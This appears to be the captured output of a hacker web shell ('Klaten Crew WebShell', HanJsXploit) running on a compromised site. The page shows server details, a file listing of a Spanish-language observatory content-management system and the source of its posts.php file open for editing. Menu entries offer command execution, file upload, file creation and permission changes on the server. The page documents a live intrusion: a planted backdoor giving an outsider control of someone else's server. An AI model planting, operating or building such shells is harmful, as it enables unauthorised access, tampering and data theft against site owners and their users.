Klaten Crew WebShell - proturismo.ipifap.org

HanJsXploit Klaten Crew

Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47

HOME

Name	Type	Size	Permissions	Modified	Actions
..	Parent	-	drwxr-xr-x	2026-05-29 14:59:36	-
assets	Folder	-	0755	2026-05-20 04:18:47
includes	Folder	-	0755	2026-05-20 04:18:49
uploads	Folder	-	0755	2026-05-20 04:18:51
INSTALACION-CPANEL.md	File	2.54 KB	0644	2026-05-20 04:18:44
config.php	File	631 B	0644	2026-05-20 04:38:03
config.sample.php	File	613 B	0644	2026-05-20 04:18:43
dashboard.php	File	1.65 KB	0644	2026-05-20 04:18:43
documents.php	File	4.11 KB	0644	2026-05-20 04:18:43
index.php	File	900 B	0644	2026-05-20 04:18:43
indica.php	File	3.66 KB	0644	2026-05-29 02:38:56
indicators.php	File	3.66 KB	0644	2026-05-29 02:47:17
logout.php	File	89 B	0644	2026-05-20 04:18:44
posts.php	File	3.71 KB	0644	2026-05-20 04:18:45
public-api.php	File	1.92 KB	0644	2026-05-20 04:18:45
schema.sql	File	2.52 KB	0644	2026-05-20 04:18:45
users.php	File	2.83 KB	0644	2026-05-20 04:18:46

<?php
require_once __DIR__ . '/includes/bootstrap.php';
require_login();
require_once __DIR__ . '/includes/layout.php';

$observatories = current_observatories();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();
    if (isset($_POST['delete_id'])) {
        $stmt = db()->prepare('DELETE FROM posts WHERE id = ?');
        $stmt->execute(array((int) $_POST['delete_id']));
        flash('Publicacion eliminada.');
        redirect('posts.php');
    }

try {
        $imagePath = upload_file('image', 'images');
        $stmt = db()->prepare('INSERT INTO posts (type, observatory, title, excerpt, body, image_path, published_at, status, created_by) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)');
        $stmt->execute(array(
            $_POST['type'],
            $_POST['observatory'],
            trim($_POST['title']),
            trim($_POST['excerpt']),
            trim($_POST['body']),
            $imagePath,
            $_POST['published_at'] ?: null,
            $_POST['status'],
            $_SESSION['user_id'],
        ));
        flash('Publicacion guardada.');
    } catch (Throwable $e) {
        flash($e->getMessage(), 'error');
    }
    redirect('posts.php');
}

$rows = db()->query('SELECT * FROM posts ORDER BY created_at DESC LIMIT 80')->fetchAll();
render_header('Noticias y boletines');
?>
<h1>Noticias, comunicados y boletines</h1>
<p class="muted">Cree contenidos que luego podran mostrarse en la web publica.</p>

<form class="panel" method="post" enctype="multipart/form-data">
  <?php echo csrf_field(); ?>
  <label>Tipo</label>
  <select name="type"><option value="noticia">Noticia</option><option value="boletin">Boletin</option><option value="comunicado">Comunicado</option></select>
  <label>Observatorio</label>
  <select name="observatory" required>
    <?php foreach ($observatories as $key => $label): ?>
      <option value="<?php echo e($key); ?>"><?php echo e($label); ?></option>
    <?php endforeach; ?>
  </select>
  <label>Titulo</label>
  <input name="title" required>
  <label>Resumen corto</label>
  <textarea name="excerpt"></textarea>
  <label>Contenido</label>
  <textarea name="body"></textarea>
  <label>Imagen</label>
  <input type="file" name="image" accept=".jpg,.jpeg,.png,.webp">
  <label>Fecha de publicacion</label>
  <input type="date" name="published_at" value="<?php echo date('Y-m-d'); ?>">
  <label>Estado</label>
  <select name="status"><option value="borrador">Borrador</option><option value="publicado">Publicado</option></select>
  <div class="actions"><button type="submit">Guardar publicacion</button></div>
</form>

<section class="table-wrap" style="margin-top:18px">
  <table>
    <thead><tr><th>Titulo</th><th>Tipo</th><th>Fecha</th><th>Imagen</th><th>Estado</th><th></th></tr></thead>
    <tbody>
      <?php foreach ($rows as $row): ?>
        <tr>
          <td><?php echo e($row['title']); ?><br><span class="muted"><?php echo e($observatories[$row['observatory']] ?? $row['observatory']); ?></span></td>
          <td><?php echo e($row['type']); ?></td>
          <td><?php echo e($row['published_at']); ?></td>
          <td><?php if ($row['image_path']): ?><a href="<?php echo e($row['image_path']); ?>" target="_blank">Ver</a><?php endif; ?></td>
          <td><span class="status <?php echo e($row['status']); ?>"><?php echo e($row['status']); ?></span></td>
          <td>
            <form method="post" onsubmit="return confirm('Eliminar publicacion?')">
              <?php echo csrf_field(); ?>
              <input type="hidden" name="delete_id" value="<?php echo e($row['id']); ?>">
              <button class="button danger" type="submit">Eliminar</button>
            </form>
          </td>
        </tr>
      <?php endforeach; ?>
    </tbody>
  </table>
</section>
<?php render_footer(); ?>

HanJsXploit Klaten Crew

Command Execution

File Upload

HanJsXploit Klaten Crew

Command Execution

File Upload

Create New Folder

Create New File

Edit File: posts.php

Rename

Change Permissions

System Information